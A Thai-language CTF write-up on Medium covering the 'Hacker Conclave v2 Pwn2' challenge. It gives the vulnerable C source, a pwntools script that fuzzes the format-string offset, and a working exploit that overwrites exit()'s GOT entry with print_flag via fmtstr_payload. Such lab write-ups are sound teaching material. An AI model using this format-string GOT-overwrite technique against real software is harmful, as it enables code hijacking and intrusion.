Sitemap

Overwrite GOT with format strings - The Hacker Conclave v2 Pwn2 challenge

3 min readNov 24, 2024

--

Press enter or click to view image in full size
Press enter or click to view image in full size

checksec ดูแล้วพบว่า เป็น elf 64 bit
- No canary found
- No PIE (0x400000)

#include <stdio.h>
#include <stdlib.h>

int mastercanary;

void print_flag(){

FILE *f;
char flag[128];

if(!(f=fopen("/flag/flag.txt","r"))){

if(!(f=fopen("./flag.txt","r"))){
sprintf(flag,"flag{NOT_A_FLAG}");
}else{
fscanf(f,"%s",flag);
}

}else{
fscanf(f,"%s",flag);
}

printf("%s\n",flag);

}

void pwnme(){

int canary=mastercanary;
char name[32];
char surname[32];

printf("Insert your name: ");

scanf("%s",name);

printf("Welcome home ");
printf(name);
printf("\n");

printf("Insert your surname: ");

scanf("%s",surname);

srand(mastercanary);

if(canary != rand()){

exit(0);

}

}

void main(){

setbuf(stdout,0);

mastercanary=random();

pwnme();

}
Press enter or click to view image in full size

จาก c code ที่โจทย์ให้มาพบว่ามีช่องโหว่ format strings ตรง print function
และพบว่ามี print_flag() function ที่ซ่อนอยู่โดยที่ main() ไม่ได้เรียกใช้
ดังนั้นเราจึงต้องหาวิธีในการ call print_flag() เพื่อให้โปรแกรม print flag ออกมา

from pwn import *

# Iterate over a range of integers
for i in range(20):
# Construct a payload that includes the current integer as offset
payload = f"AAAAAAAA%{i}$lx".encode()

# Start a new process of the "chall" binary
p = process("./pwn2")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"4141414141414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

อันดับแรกเราต้องหา user input ว่าอยู่ที่ offset เท่าไหร่ จาก python code fuzzing ใน code ข้างต้นเราใช้ “AAAAAAAA%{i}$lx” เพื่อระบุตำแหน่งของ user input
หลักการคือใช้ “%{i}$lx” เพื่อหาตำแหน่งที่เราใส่ “AAAAAAAA” เข้าไปก็จะได้ offset ของ user input

Press enter or click to view image in full size

พบว่า user input มี offset เท่ากับ 10

Press enter or click to view image in full size

เราจะใช้ format strings ในการ overwrite got exit() ด้วย print_flag()

#!/usr/bin/env python3

from pwn import *

exe = ELF("./pwn2")
context.binary = exe

io = process("./pwn2")

io.sendlineafter(b'Insert your name: ', fmtstr_payload(10, { exe.got.exit: exe.sym.print_flag }))
io.sendlineafter(b'Insert your surname: ', b'lol')

io.interactive()

เราจะใช้ท่า modify value with format strings โดย pwntools มี fmtstr_payload fuction ให้เราได้ใช้กันแบบสบายๆ โดยหลักการใช้ก็คือ fmtstr_payload(offset, { address : value}))

Get mirakiht’s stories in your inbox

Join Medium for free to get updates from this writer.

offset คือ offset user input ที่เราหาได้คือ 10

address คือ exe.got.exit เนื่องจากเราให้ pwntools library จึงสามารถใช้
exe = ELF(“./pwn2”)
context.binary = exe
เพื่อหา exe.got.exit หรือก็คือ address got ของ exit() ได้แบบ auto

value คือ exe.sym.print_flag เช่นกันกับ address got ของ exit() เราก็สามารถหา symbol ของ print_flag ได้แบบ auto สบายมักๆ

Note: แล้วทำไมเราต้อง overwrite got exit() ด้วย print_flag() ?

นั้นก็เพราะว่าโปรแกรมมีการเรียกใช้ exit(0); ใน main() หาก canary != rand() ซึ่งเราไม่รู้อยู่แล้วว่า canary ไม่มีทางเท่ากับ rand() อยู่แล้ว

ดังนั้นเราจึง overwrite got exit() ด้วย print_flag()
เพื่อเวลาที่โปรแกรม call exit() โปรแกรมจะได้ไป call print_flag() แทนนั้นเอง

Press enter or click to view image in full size

--

--

mirakiht
mirakiht

Written by mirakiht

OT sec, pentest, pwn, rev FB : Min Sahatsawat